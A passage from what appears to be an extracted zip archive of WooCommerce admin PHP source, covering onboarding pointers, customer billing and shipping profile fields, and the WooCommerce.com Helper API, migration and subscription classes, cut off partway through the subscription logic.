						'position' => array(
							'edge'  => 'right',
							'align' => 'middle',
						),
					),
				),
				'product_catdiv' => array(
					'target'  => '#product_catdiv',
					'next'    => 'submitdiv',
					'options' => array(
						'content'  => '<h3>' . esc_html__( 'Product categories', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Optionally assign categories to your products to make them easier to browse through and find in your store.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'right',
							'align' => 'middle',
						),
					),
				),
				'submitdiv'      => array(
					'target'  => '#submitdiv',
					'next'    => '',
					'options' => array(
						'content'  => '<h3>' . esc_html__( 'Publish your product!', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'When you are finished editing your product, hit the "Publish" button to publish your product to your store.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'right',
							'align' => 'middle',
						),
					),
				),
			),
		);

		$this->enqueue_pointers( $pointers );
	}

	/**
	 * Enqueue pointers and add script to page.
	 *
	 * @param array $pointers Pointers data.
	 */
	public function enqueue_pointers( $pointers ) {
		$pointers = rawurlencode( wp_json_encode( $pointers ) );
		wp_enqueue_style( 'wp-pointer' );
		wp_enqueue_script( 'wp-pointer' );
		wc_enqueue_js(
			"jQuery( function( $ ) {
				var wc_pointers = JSON.parse( decodeURIComponent( '{$pointers}' ) );

				setTimeout( init_wc_pointers, 800 );

				function init_wc_pointers() {
					$.each( wc_pointers.pointers, function( i ) {
						show_wc_pointer( i );
						return false;
					});
				}

				function show_wc_pointer( id ) {
					var pointer = wc_pointers.pointers[ id ];
					var options = $.extend( pointer.options, {
						pointerClass: 'wp-pointer wc-pointer',
						close: function() {
							if ( pointer.next ) {
								show_wc_pointer( pointer.next );
							}
						},
						buttons: function( event, t ) {
							var close   = '" . esc_js( __( 'Dismiss', 'woocommerce' ) ) . "',
								next    = '" . esc_js( __( 'Next', 'woocommerce' ) ) . "',
								button  = $( '<a class=\"close\" href=\"#\">' + close + '</a>' ),
								button2 = $( '<a class=\"button button-primary\" href=\"#\">' + next + '</a>' ),
								wrapper = $( '<div class=\"wc-pointer-buttons\" />' );

							button.on( 'click.pointer', function(e) {
								e.preventDefault();
								t.element.pointer('destroy');
							});

							button2.on( 'click.pointer', function(e) {
								e.preventDefault();
								t.element.pointer('close');
							});

							wrapper.append( button );
							wrapper.append( button2 );

							return wrapper;
						},
					} );
					var this_pointer = $( pointer.target ).pointer( options );
					this_pointer.pointer( 'open' );

					if ( pointer.next_trigger ) {
						$( pointer.next_trigger.target ).on( pointer.next_trigger.event, function() {
							setTimeout( function() { this_pointer.pointer( 'close' ); }, 400 );
						});
					}
				}
			});"
		);
	}
}

new WC_Admin_Pointers();
PK�3\�\jU$U$class-wc-admin-profile.phpnu�[���<?php
/**
 * Add extra profile fields for users in admin
 *
 * @author   WooThemes
 * @category Admin
 * @package  WooCommerce\Admin
 * @version  2.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

if ( ! class_exists( 'WC_Admin_Profile', false ) ) :

	/**
	 * WC_Admin_Profile Class.
	 */
	class WC_Admin_Profile {

		/**
		 * Hook in tabs.
		 */
		public function __construct() {
			add_action( 'show_user_profile', array( $this, 'add_customer_meta_fields' ) );
			add_action( 'edit_user_profile', array( $this, 'add_customer_meta_fields' ) );

			add_action( 'personal_options_update', array( $this, 'save_customer_meta_fields' ) );
			add_action( 'edit_user_profile_update', array( $this, 'save_customer_meta_fields' ) );
		}

		/**
		 * Get Address Fields for the edit user pages.
		 *
		 * @return array Fields to display which are filtered through woocommerce_customer_meta_fields before being returned
		 */
		public function get_customer_meta_fields() {
			$show_fields = apply_filters(
				'woocommerce_customer_meta_fields',
				array(
					'billing'  => array(
						'title'  => __( 'Customer billing address', 'woocommerce' ),
						'fields' => array(
							'billing_first_name' => array(
								'label'       => __( 'First name', 'woocommerce' ),
								'description' => '',
							),
							'billing_last_name'  => array(
								'label'       => __( 'Last name', 'woocommerce' ),
								'description' => '',
							),
							'billing_company'    => array(
								'label'       => __( 'Company', 'woocommerce' ),
								'description' => '',
							),
							'billing_address_1'  => array(
								'label'       => __( 'Address line 1', 'woocommerce' ),
								'description' => '',
							),
							'billing_address_2'  => array(
								'label'       => __( 'Address line 2', 'woocommerce' ),
								'description' => '',
							),
							'billing_city'       => array(
								'label'       => __( 'City', 'woocommerce' ),
								'description' => '',
							),
							'billing_postcode'   => array(
								'label'       => __( 'Postcode / ZIP', 'woocommerce' ),
								'description' => '',
							),
							'billing_country'    => array(
								'label'       => __( 'Country / Region', 'woocommerce' ),
								'description' => '',
								'class'       => 'js_field-country',
								'type'        => 'select',
								'options'     => array( '' => __( 'Select a country / region&hellip;', 'woocommerce' ) ) + WC()->countries->get_allowed_countries(),
							),
							'billing_state'      => array(
								'label'       => __( 'State / County', 'woocommerce' ),
								'description' => __( 'State / County or state code', 'woocommerce' ),
								'class'       => 'js_field-state',
							),
							'billing_phone'      => array(
								'label'       => __( 'Phone', 'woocommerce' ),
								'description' => '',
							),
							'billing_email'      => array(
								'label'       => __( 'Email address', 'woocommerce' ),
								'description' => '',
							),
						),
					),
					'shipping' => array(
						'title'  => __( 'Customer shipping address', 'woocommerce' ),
						'fields' => array(
							'copy_billing'        => array(
								'label'       => __( 'Copy from billing address', 'woocommerce' ),
								'description' => '',
								'class'       => 'js_copy-billing',
								'type'        => 'button',
								'text'        => __( 'Copy', 'woocommerce' ),
							),
							'shipping_first_name' => array(
								'label'       => __( 'First name', 'woocommerce' ),
								'description' => '',
							),
							'shipping_last_name'  => array(
								'label'       => __( 'Last name', 'woocommerce' ),
								'description' => '',
							),
							'shipping_company'    => array(
								'label'       => __( 'Company', 'woocommerce' ),
								'description' => '',
							),
							'shipping_address_1'  => array(
								'label'       => __( 'Address line 1', 'woocommerce' ),
								'description' => '',
							),
							'shipping_address_2'  => array(
								'label'       => __( 'Address line 2', 'woocommerce' ),
								'description' => '',
							),
							'shipping_city'       => array(
								'label'       => __( 'City', 'woocommerce' ),
								'description' => '',
							),
							'shipping_postcode'   => array(
								'label'       => __( 'Postcode / ZIP', 'woocommerce' ),
								'description' => '',
							),
							'shipping_country'    => array(
								'label'       => __( 'Country / Region', 'woocommerce' ),
								'description' => '',
								'class'       => 'js_field-country',
								'type'        => 'select',
								'options'     => array( '' => __( 'Select a country / region&hellip;', 'woocommerce' ) ) + WC()->countries->get_allowed_countries(),
							),
							'shipping_state'      => array(
								'label'       => __( 'State / County', 'woocommerce' ),
								'description' => __( 'State / County or state code', 'woocommerce' ),
								'class'       => 'js_field-state',
							),
							'shipping_phone'      => array(
								'label'       => __( 'Phone', 'woocommerce' ),
								'description' => '',
							),
						),
					),
				)
			);
			return $show_fields;
		}

		/**
		 * Show Address Fields on edit user pages.
		 *
		 * @param WP_User $user
		 */
		public function add_customer_meta_fields( $user ) {
			if ( ! apply_filters( 'woocommerce_current_user_can_edit_customer_meta_fields', current_user_can( 'manage_woocommerce' ), $user->ID ) ) {
				return;
			}

			$show_fields = $this->get_customer_meta_fields();

			foreach ( $show_fields as $fieldset_key => $fieldset ) :
				?>
				<h2><?php echo $fieldset['title']; ?></h2>
				<table class="form-table" id="<?php echo esc_attr( 'fieldset-' . $fieldset_key ); ?>">
					<?php foreach ( $fieldset['fields'] as $key => $field ) : ?>
						<tr>
							<th>
								<label for="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $field['label'] ); ?></label>
							</th>
							<td>
								<?php if ( ! empty( $field['type'] ) && 'select' === $field['type'] ) : ?>
									<select name="<?php echo esc_attr( $key ); ?>" id="<?php echo esc_attr( $key ); ?>" class="<?php echo esc_attr( $field['class'] ); ?>" style="width: 25em;">
										<?php
											$selected = esc_attr( get_user_meta( $user->ID, $key, true ) );
										foreach ( $field['options'] as $option_key => $option_value ) :
											?>
											<option value="<?php echo esc_attr( $option_key ); ?>" <?php selected( $selected, $option_key, true ); ?>><?php echo esc_html( $option_value ); ?></option>
										<?php endforeach; ?>
									</select>
								<?php elseif ( ! empty( $field['type'] ) && 'checkbox' === $field['type'] ) : ?>
									<input type="checkbox" name="<?php echo esc_attr( $key ); ?>" id="<?php echo esc_attr( $key ); ?>" value="1" class="<?php echo esc_attr( $field['class'] ); ?>" <?php checked( (int) get_user_meta( $user->ID, $key, true ), 1, true ); ?> />
								<?php elseif ( ! empty( $field['type'] ) && 'button' === $field['type'] ) : ?>
									<button type="button" id="<?php echo esc_attr( $key ); ?>" class="button <?php echo esc_attr( $field['class'] ); ?>"><?php echo esc_html( $field['text'] ); ?></button>
								<?php else : ?>
									<input type="text" name="<?php echo esc_attr( $key ); ?>" id="<?php echo esc_attr( $key ); ?>" value="<?php echo esc_attr( $this->get_user_meta( $user->ID, $key ) ); ?>" class="<?php echo ( ! empty( $field['class'] ) ? esc_attr( $field['class'] ) : 'regular-text' ); ?>" />
								<?php endif; ?>
								<p class="description"><?php echo wp_kses_post( $field['description'] ); ?></p>
							</td>
						</tr>
					<?php endforeach; ?>
				</table>
				<?php
			endforeach;
		}

		/**
		 * Save Address Fields on edit user pages.
		 *
		 * @param int $user_id User ID of the user being saved
		 */
		public function save_customer_meta_fields( $user_id ) {
			if ( ! apply_filters( 'woocommerce_current_user_can_edit_customer_meta_fields', current_user_can( 'manage_woocommerce' ), $user_id ) ) {
				return;
			}

			$save_fields = $this->get_customer_meta_fields();

			foreach ( $save_fields as $fieldset ) {

				foreach ( $fieldset['fields'] as $key => $field ) {

					if ( isset( $field['type'] ) && 'checkbox' === $field['type'] ) {
						update_user_meta( $user_id, $key, isset( $_POST[ $key ] ) );
					} elseif ( isset( $_POST[ $key ] ) ) {
						update_user_meta( $user_id, $key, wc_clean( $_POST[ $key ] ) );
					}
				}
			}
		}

		/**
		 * Get user meta for a given key, with fallbacks to core user info for pre-existing fields.
		 *
		 * @since 3.1.0
		 * @param int    $user_id User ID of the user being edited
		 * @param string $key     Key for user meta field
		 * @return string
		 */
		protected function get_user_meta( $user_id, $key ) {
			$value           = get_user_meta( $user_id, $key, true );
			$existing_fields = array( 'billing_first_name', 'billing_last_name' );
			if ( ! $value && in_array( $key, $existing_fields ) ) {
				$value = get_user_meta( $user_id, str_replace( 'billing_', '', $key ), true );
			} elseif ( ! $value && ( 'billing_email' === $key ) ) {
				$user  = get_userdata( $user_id );
				$value = $user->user_email;
			}

			return $value;
		}
	}

endif;

return new WC_Admin_Profile();
PK�3\�SDZhh"helper/class-wc-helper-options.phpnu�[���<?php
/**
 * WooCommerce Admin Helper Options
 *
 * @package WooCommerce\Admin\Helper
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper_Options Class
 *
 * An interface to the woocommerce_helper_data entry in the wp_options table.
 */
class WC_Helper_Options {
	/**
	 * The option name used to store the helper data.
	 *
	 * @var string
	 */
	private static $option_name = 'woocommerce_helper_data';

	/**
	 * Update an option by key
	 *
	 * All helper options are grouped in a single options entry. This method
	 * is not thread-safe, use with caution.
	 *
	 * @param string $key The key to update.
	 * @param mixed  $value The new option value.
	 *
	 * @return bool True if the option has been updated.
	 */
	public static function update( $key, $value ) {
		$options         = get_option( self::$option_name, array() );
		$options[ $key ] = $value;
		return update_option( self::$option_name, $options, true );
	}

	/**
	 * Get an option by key
	 *
	 * @see self::update
	 *
	 * @param string $key The key to fetch.
	 * @param mixed  $default The default option to return if the key does not exist.
	 *
	 * @return mixed An option or the default.
	 */
	public static function get( $key, $default = false ) {
		$options = get_option( self::$option_name, array() );
		if ( array_key_exists( $key, $options ) ) {
			return $options[ $key ];
		}

		return $default;
	}
}
PK�3\)�q$77helper/class-wc-helper-api.phpnu�[���<?php
/**
 * WooCommerce Admin Helper API
 *
 * @package WooCommerce\Admin\Helper
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper_API Class
 *
 * Provides a communication interface with the WooCommerce.com Helper API.
 */
class WC_Helper_API {
	/**
	 * Base path for API routes.
	 *
	 * @var $api_base
	 */
	public static $api_base;

	/**
	 * Load
	 *
	 * Allow devs to point the API base to a local API development or staging server.
	 * Note that sslverify will be turned off for the woocommerce.dev + WP_DEBUG combination.
	 * The URL can be changed on plugins_loaded before priority 10.
	 */
	public static function load() {
		self::$api_base = apply_filters( 'woocommerce_helper_api_base', 'https://woocommerce.com/wp-json/helper/1.0' );
	}

	/**
	 * Perform an HTTP request to the Helper API.
	 *
	 * @param string $endpoint The endpoint to request.
	 * @param array  $args Additional data for the request. Set authenticated to a truthy value to enable auth.
	 *
	 * @return array|WP_Error The response from wp_safe_remote_request()
	 */
	public static function request( $endpoint, $args = array() ) {
		$url = self::url( $endpoint );

		if ( ! empty( $args['authenticated'] ) ) {
			if ( ! self::_authenticate( $url, $args ) ) {
				return new WP_Error( 'authentication', 'Authentication failed.' );
			}
		}

		/**
		 * Allow developers to filter the request args passed to wp_safe_remote_request().
		 * Useful to remove sslverify when working on a local api dev environment.
		 */
		$args = apply_filters( 'woocommerce_helper_api_request_args', $args, $endpoint );

		// TODO: Check response signatures on certain endpoints.
		return wp_safe_remote_request( $url, $args );
	}

	/**
	 * Adds authentication headers to an HTTP request.
	 *
	 * @param string $url The request URI.
	 * @param array  $args By-ref, the args that will be passed to wp_remote_request().
	 * @return bool Were the headers added?
	 */
	private static function _authenticate( &$url, &$args ) {
		$auth = WC_Helper_Options::get( 'auth' );

		if ( empty( $auth['access_token'] ) || empty( $auth['access_token_secret'] ) ) {
			return false;
		}

		$request_uri  = parse_url( $url, PHP_URL_PATH );
		$query_string = parse_url( $url, PHP_URL_QUERY );

		if ( is_string( $query_string ) ) {
			$request_uri .= '?' . $query_string;
		}

		$data = array(
			'host'        => parse_url( $url, PHP_URL_HOST ),
			'request_uri' => $request_uri,
			'method'      => ! empty( $args['method'] ) ? $args['method'] : 'GET',
		);

		if ( ! empty( $args['body'] ) ) {
			$data['body'] = $args['body'];
		}

		$signature = hash_hmac( 'sha256', json_encode( $data ), $auth['access_token_secret'] );
		if ( empty( $args['headers'] ) ) {
			$args['headers'] = array();
		}

		$headers         = array(
			'Authorization'   => 'Bearer ' . $auth['access_token'],
			'X-Woo-Signature' => $signature,
		);
		$args['headers'] = wp_parse_args( $headers, $args['headers'] );

		$url = add_query_arg(
			array(
				'token'     => $auth['access_token'],
				'signature' => $signature,
			),
			$url
		);

		return true;
	}

	/**
	 * Wrapper for self::request().
	 *
	 * @param string $endpoint The helper API endpoint to request.
	 * @param array  $args Arguments passed to wp_remote_request().
	 *
	 * @return array The response object from wp_safe_remote_request().
	 */
	public static function get( $endpoint, $args = array() ) {
		$args['method'] = 'GET';
		return self::request( $endpoint, $args );
	}

	/**
	 * Wrapper for self::request().
	 *
	 * @param string $endpoint The helper API endpoint to request.
	 * @param array  $args Arguments passed to wp_remote_request().
	 *
	 * @return array The response object from wp_safe_remote_request().
	 */
	public static function post( $endpoint, $args = array() ) {
		$args['method'] = 'POST';
		return self::request( $endpoint, $args );
	}

	/**
	 * Wrapper for self::request().
	 *
	 * @param string $endpoint The helper API endpoint to request.
	 * @param array  $args Arguments passed to wp_remote_request().
	 *
	 * @return array The response object from wp_safe_remote_request().
	 */
	public static function put( $endpoint, $args = array() ) {
		$args['method'] = 'PUT';
		return self::request( $endpoint, $args );
	}

	/**
	 * Using the API base, form a request URL from a given endpoint.
	 *
	 * @param string $endpoint The endpoint to request.
	 *
	 * @return string The absolute endpoint URL.
	 */
	public static function url( $endpoint ) {
		$endpoint = ltrim( $endpoint, '/' );
		$endpoint = sprintf( '%s/%s', self::$api_base, $endpoint );
		$endpoint = esc_url_raw( $endpoint );
		return $endpoint;
	}
}

WC_Helper_API::load();
PK�3\�{|��!helper/class-wc-helper-compat.phpnu�[���<?php
/**
 * WooCommerce Admin Helper Compat
 *
 * @package WooCommerce\Admin\Helper
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper_Compat Class
 *
 * Some level of compatibility with the legacy WooCommerce Helper plugin.
 */
class WC_Helper_Compat {

	/**
	 * Loads the class, runs on init.
	 */
	public static function load() {
		add_action( 'woocommerce_helper_loaded', array( __CLASS__, 'helper_loaded' ) );
	}

	/**
	 * Runs during woocommerce_helper_loaded
	 */
	public static function helper_loaded() {
		// Stop the nagging about WooThemes Updater
		remove_action( 'admin_notices', 'woothemes_updater_notice' );

		// A placeholder dashboard menu for legacy helper users.
		add_action( 'admin_menu', array( __CLASS__, 'admin_menu' ) );

		if ( empty( $GLOBALS['woothemes_updater'] ) ) {
			return;
		}

		self::remove_actions();
		self::migrate_connection();
		self::deactivate_plugin();
	}

	/**
	 * Remove legacy helper actions (notices, menus, etc.)
	 */
	public static function remove_actions() {
		// Remove WooThemes Updater notices
		remove_action( 'network_admin_notices', array( $GLOBALS['woothemes_updater']->admin, 'maybe_display_activation_notice' ) );
		remove_action( 'admin_notices', array( $GLOBALS['woothemes_updater']->admin, 'maybe_display_activation_notice' ) );
		remove_action( 'network_admin_menu', array( $GLOBALS['woothemes_updater']->admin, 'register_settings_screen' ) );
		remove_action( 'admin_menu', array( $GLOBALS['woothemes_updater']->admin, 'register_settings_screen' ) );
	}

	/**
	 * Attempt to migrate a legacy connection to a new one.
	 */
	public static function migrate_connection() {
		// Don't attempt to migrate if attempted before.
		if ( WC_Helper_Options::get( 'did-migrate' ) ) {
			return;
		}

		$auth = WC_Helper_Options::get( 'auth' );
		if ( ! empty( $auth ) ) {
			return;
		}

		WC_Helper::log( 'Attempting oauth/migrate' );
		WC_Helper_Options::update( 'did-migrate', true );

		$master_key = get_option( 'woothemes_helper_master_key' );
		if ( empty( $master_key ) ) {
			WC_Helper::log( 'Master key not found, aborting' );
			return;
		}

		$request = WC_Helper_API::post(
			'oauth/migrate',
			array(
				'body' => array(
					'home_url'   => home_url(),
					'master_key' => $master_key,
				),
			)
		);

		if ( is_wp_error( $request ) || wp_remote_retrieve_response_code( $request ) !== 200 ) {
			WC_Helper::log( 'Call to oauth/migrate returned a non-200 response code' );
			return;
		}

		$request_token = json_decode( wp_remote_retrieve_body( $request ) );
		if ( empty( $request_token ) ) {
			WC_Helper::log( 'Call to oauth/migrate returned an empty token' );
			return;
		}

		// Obtain an access token.
		$request = WC_Helper_API::post(
			'oauth/access_token',
			array(
				'body' => array(
					'request_token' => $request_token,
					'home_url'      => home_url(),
					'migrate'       => true,
				),
			)
		);

		if ( is_wp_error( $request ) || wp_remote_retrieve_response_code( $request ) !== 200 ) {
			WC_Helper::log( 'Call to oauth/access_token returned a non-200 response code' );
			return;
		}

		$access_token = json_decode( wp_remote_retrieve_body( $request ), true );
		if ( empty( $access_token ) ) {
			WC_Helper::log( 'Call to oauth/access_token returned an invalid token' );
			return;
		}

		WC_Helper_Options::update(
			'auth',
			array(
				'access_token'        => $access_token['access_token'],
				'access_token_secret' => $access_token['access_token_secret'],
				'site_id'             => $access_token['site_id'],
				'user_id'             => null, // Set this later
				'updated'             => time(),
			)
		);

		// Obtain the connected user info.
		if ( ! WC_Helper::_flush_authentication_cache() ) {
			WC_Helper::log( 'Could not obtain connected user info in migrate_connection' );
			WC_Helper_Options::update( 'auth', array() );
			return;
		}
	}

	/**
	 * Attempt to deactivate the legacy helper plugin.
	 */
	public static function deactivate_plugin() {
		include_once ABSPATH . 'wp-admin/includes/plugin.php';
		if ( ! function_exists( 'deactivate_plugins' ) ) {
			return;
		}

		if ( is_plugin_active( 'woothemes-updater/woothemes-updater.php' ) ) {
			deactivate_plugins( 'woothemes-updater/woothemes-updater.php' );

			// Notify the user when the plugin is deactivated.
			add_action( 'pre_current_active_plugins', array( __CLASS__, 'plugin_deactivation_notice' ) );
		}
	}

	/**
	 * Display admin notice directing the user where to go.
	 */
	public static function plugin_deactivation_notice() {
		?>
		<div id="message" class="error is-dismissible">
			<p><?php printf( __( 'The WooCommerce Helper plugin is no longer needed. <a href="%s">Manage subscriptions</a> from the extensions tab instead.', 'woocommerce' ), esc_url( admin_url( 'admin.php?page=wc-addons&section=helper' ) ) ); ?></p>
		</div>
		<?php
	}

	/**
	 * Register menu item.
	 */
	public static function admin_menu() {
		// No additional menu items for users who did not have a connected helper before.
		$master_key = get_option( 'woothemes_helper_master_key' );
		if ( empty( $master_key ) ) {
			return;
		}

		// Do not show the menu item if user has already seen the new screen.
		$auth = WC_Helper_Options::get( 'auth' );
		if ( ! empty( $auth['user_id'] ) ) {
			return;
		}

		add_dashboard_page( __( 'WooCommerce Helper', 'woocommerce' ), __( 'WooCommerce Helper', 'woocommerce' ), 'manage_options', 'woothemes-helper', array( __CLASS__, 'render_compat_menu' ) );
	}

	/**
	 * Render the legacy helper compat view.
	 */
	public static function render_compat_menu() {
		$helper_url = add_query_arg(
			array(
				'page'    => 'wc-addons',
				'section' => 'helper',
			),
			admin_url( 'admin.php' )
		);
		include WC_Helper::get_view_filename( 'html-helper-compat.php' );
	}
}

WC_Helper_Compat::load();
PK�3\��1qpp&helper/class-wc-helper-plugin-info.phpnu�[���<?php
/**
 * WooCommerce Admin Helper Plugin Info
 *
 * @package WooCommerce\Admin\Helper
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper_Plugin_Info Class
 *
 * Provides the "View Information" core modals with data for WooCommerce.com
 * hosted extensions.
 */
class WC_Helper_Plugin_Info {

	/**
	 * Loads the class, runs on init.
	 */
	public static function load() {
		add_filter( 'plugins_api', array( __CLASS__, 'plugins_api' ), 20, 3 );
	}

	/**
	 * Plugin information callback for Woo extensions.
	 *
	 * @param object $response The response core needs to display the modal.
	 * @param string $action The requested plugins_api() action.
	 * @param object $args Arguments passed to plugins_api().
	 *
	 * @return object An updated $response.
	 */
	public static function plugins_api( $response, $action, $args ) {
		if ( 'plugin_information' !== $action ) {
			return $response;
		}

		if ( empty( $args->slug ) ) {
			return $response;
		}

		// Only for slugs that start with woo-
		if ( 0 !== strpos( $args->slug, 'woocommerce-com-' ) ) {
			return $response;
		}

		$clean_slug = str_replace( 'woocommerce-com-', '', $args->slug );

		// Look through update data by slug.
		$update_data = WC_Helper_Updater::get_update_data();
		$products    = wp_list_filter( $update_data, array( 'slug' => $clean_slug ) );

		if ( empty( $products ) ) {
			return $response;
		}

		$product_id = array_keys( $products );
		$product_id = array_shift( $product_id );

		// Fetch the product information from the Helper API.
		$request = WC_Helper_API::get(
			add_query_arg(
				array(
					'product_id' => absint( $product_id ),
				),
				'info'
			),
			array( 'authenticated' => true )
		);

		$results = json_decode( wp_remote_retrieve_body( $request ), true );
		if ( ! empty( $results ) ) {
			$response = (object) $results;
		}

		return $response;
	}
}

WC_Helper_Plugin_Info::load();
PK�3\:a�B�B�helper/class-wc-helper.phpnu�[���<?php
/**
 * WooCommerce Admin Helper
 *
 * @package WooCommerce\Admin\Helper
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper Class
 *
 * The main entry-point for all things related to the Helper.
 */
class WC_Helper {
	/**
	 * A log object returned by wc_get_logger().
	 *
	 * @var $log
	 */
	public static $log;

	/**
	 * Get an absolute path to the requested helper view.
	 *
	 * @param string $view The requested view file.
	 *
	 * @return string The absolute path to the view file.
	 */
	public static function get_view_filename( $view ) {
		return dirname( __FILE__ ) . "/views/$view";
	}

	/**
	 * Loads the helper class, runs on init.
	 */
	public static function load() {
		self::includes();

		add_action( 'current_screen', array( __CLASS__, 'current_screen' ) );
		add_action( 'woocommerce_helper_output', array( __CLASS__, 'render_helper_output' ) );
		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'admin_enqueue_scripts' ) );
		add_action( 'admin_notices', array( __CLASS__, 'admin_notices' ) );

		do_action( 'woocommerce_helper_loaded' );
	}

	/**
	 * Include supporting helper classes.
	 */
	protected static function includes() {
		include_once dirname( __FILE__ ) . '/class-wc-helper-options.php';
		include_once dirname( __FILE__ ) . '/class-wc-helper-api.php';
		include_once dirname( __FILE__ ) . '/class-wc-helper-updater.php';
		include_once dirname( __FILE__ ) . '/class-wc-helper-plugin-info.php';
		include_once dirname( __FILE__ ) . '/class-wc-helper-compat.php';
	}

	/**
	 * Render the helper section content based on context.
	 */
	public static function render_helper_output() {
		$auth           = WC_Helper_Options::get( 'auth' );
		$auth_user_data = WC_Helper_Options::get( 'auth_user_data' );

		// Return success/error notices.
		$notices = self::_get_return_notices();

		// No active connection.
		if ( empty( $auth['access_token'] ) ) {
			$connect_url = add_query_arg(
				array(
					'page'              => 'wc-addons',
					'section'           => 'helper',
					'wc-helper-connect' => 1,
					'wc-helper-nonce'   => wp_create_nonce( 'connect' ),
				),
				admin_url( 'admin.php' )
			);

			include self::get_view_filename( 'html-oauth-start.php' );
			return;
		}
		$disconnect_url = add_query_arg(
			array(
				'page'                 => 'wc-addons',
				'section'              => 'helper',
				'wc-helper-disconnect' => 1,
				'wc-helper-nonce'      => wp_create_nonce( 'disconnect' ),
			),
			admin_url( 'admin.php' )
		);

		$current_filter = self::get_current_filter();
		$refresh_url    = add_query_arg(
			array(
				'page'              => 'wc-addons',
				'section'           => 'helper',
				'filter'            => $current_filter,
				'wc-helper-refresh' => 1,
				'wc-helper-nonce'   => wp_create_nonce( 'refresh' ),
			),
			admin_url( 'admin.php' )
		);

		// Installed plugins and themes, with or without an active subscription.
		$woo_plugins = self::get_local_woo_plugins();
		$woo_themes  = self::get_local_woo_themes();

		$site_id                   = absint( $auth['site_id'] );
		$subscriptions             = self::get_subscriptions();
		$updates                   = WC_Helper_Updater::get_update_data();
		$subscriptions_product_ids = wp_list_pluck( $subscriptions, 'product_id' );

		foreach ( $subscriptions as &$subscription ) {
			$subscription['active'] = in_array( $site_id, $subscription['connections'] );

			$subscription['activate_url'] = add_query_arg(
				array(
					'page'                  => 'wc-addons',
					'section'               => 'helper',
					'filter'                => $current_filter,
					'wc-helper-activate'    => 1,
					'wc-helper-product-key' => $subscription['product_key'],
					'wc-helper-product-id'  => $subscription['product_id'],
					'wc-helper-nonce'       => wp_create_nonce( 'activate:' . $subscription['product_key'] ),
				),
				admin_url( 'admin.php' )
			);

			$subscription['deactivate_url'] = add_query_arg(
				array(
					'page'                  => 'wc-addons',
					'section'               => 'helper',
					'filter'                => $current_filter,
					'wc-helper-deactivate'  => 1,
					'wc-helper-product-key' => $subscription['product_key'],
					'wc-helper-product-id'  => $subscription['product_id'],
					'wc-helper-nonce'       => wp_create_nonce( 'deactivate:' . $subscription['product_key'] ),
				),
				admin_url( 'admin.php' )
			);

			$subscription['local'] = array(
				'installed' => false,
				'active'    => false,
				'version'   => null,
			);

			$subscription['update_url'] = admin_url( 'update-core.php' );

			$local = wp_list_filter( array_merge( $woo_plugins, $woo_themes ), array( '_product_id' => $subscription['product_id'] ) );

			if ( ! empty( $local ) ) {
				$local                              = array_shift( $local );
				$subscription['local']['installed'] = true;
				$subscription['local']['version']   = $local['Version'];

				if ( 'plugin' == $local['_type'] ) {
					if ( is_plugin_active( $local['_filename'] ) ) {
						$subscription['local']['active'] = true;
					} elseif ( is_multisite() && is_plugin_active_for_network( $local['_filename'] ) ) {
						$subscription['local']['active'] = true;
					}

					// A magic update_url.
					$subscription['update_url'] = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $local['_filename'], 'upgrade-plugin_' . $local['_filename'] );

				} elseif ( 'theme' == $local['_type'] ) {
					if ( in_array( $local['_stylesheet'], array( get_stylesheet(), get_template() ) ) ) {
						$subscription['local']['active'] = true;
					}

					// Another magic update_url.
					$subscription['update_url'] = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-theme&theme=' . $local['_stylesheet'] ), 'upgrade-theme_' . $local['_stylesheet'] );
				}
			}

			$subscription['has_update'] = false;
			if ( $subscription['local']['installed'] && ! empty( $updates[ $subscription['product_id'] ] ) ) {
				$subscription['has_update'] = version_compare( $updates[ $subscription['product_id'] ]['version'], $subscription['local']['version'], '>' );
			}

			$subscription['download_primary'] = true;
			$subscription['download_url']     = 'https://woocommerce.com/my-account/downloads/';
			if ( ! $subscription['local']['installed'] && ! empty( $updates[ $subscription['product_id'] ] ) ) {
				$subscription['download_url'] = $updates[ $subscription['product_id'] ]['package'];
			}

			$subscription['actions'] = array();

			if ( $subscription['has_update'] && ! $subscription['expired'] ) {
				$action = array(
					/* translators: %s: version number */
					'message'      => sprintf( __( 'Version %s is <strong>available</strong>.', 'woocommerce' ), esc_html( $updates[ $subscription['product_id'] ]['version'] ) ),
					'button_label' => __( 'Update', 'woocommerce' ),
					'button_url'   => $subscription['update_url'],
					'status'       => 'update-available',
					'icon'         => 'dashicons-update',
				);

				// Subscription is not active on this site.
				if ( ! $subscription['active'] ) {
					$action['message']     .= ' ' . __( 'To enable this update you need to <strong>activate</strong> this subscription.', 'woocommerce' );
					$action['button_label'] = null;
					$action['button_url']   = null;
				}

				$subscription['actions'][] = $action;
			}

			if ( $subscription['has_update'] && $subscription['expired'] ) {
				$action = array(
					/* translators: %s: version number */
					'message' => sprintf( __( 'Version %s is <strong>available</strong>.', 'woocommerce' ), esc_html( $updates[ $subscription['product_id'] ]['version'] ) ),
					'status'  => 'expired',
					'icon'    => 'dashicons-info',
				);

				$action['message']     .= ' ' . __( 'To enable this update you need to <strong>purchase</strong> a new subscription.', 'woocommerce' );
				$action['button_label'] = __( 'Purchase', 'woocommerce' );
				$action['button_url']   = $subscription['product_url'];

				$subscription['actions'][] = $action;
			} elseif ( $subscription['expired'] && ! empty( $subscription['master_user_email'] ) ) {
				$action = array(
					'message' => sprintf( __( 'This subscription has expired. Contact the owner to <strong>renew</strong> the subscription to receive updates and support.', 'woocommerce' ) ),
					'status'  => 'expired',
					'icon'    => 'dashicons-info',
				);

				$subscription['actions'][] = $action;
			} elseif ( $subscription['expired'] ) {
				$action = array(
